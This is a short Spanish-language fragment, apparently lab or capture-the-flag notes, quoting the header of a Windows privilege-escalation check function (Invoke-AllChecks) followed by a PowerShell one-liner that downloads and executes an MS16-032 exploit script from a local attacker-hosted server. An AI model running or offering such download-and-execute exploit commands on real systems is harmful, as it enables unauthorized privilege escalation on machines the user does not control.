En general lo que estoy haciendo es usar la función:
function Invoke-AllChecks {
<#
.SYNOPSIS
Runs all functions that check for various Windows privilege escalation opportunities.
powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.19:8000/MS16032.ps1')
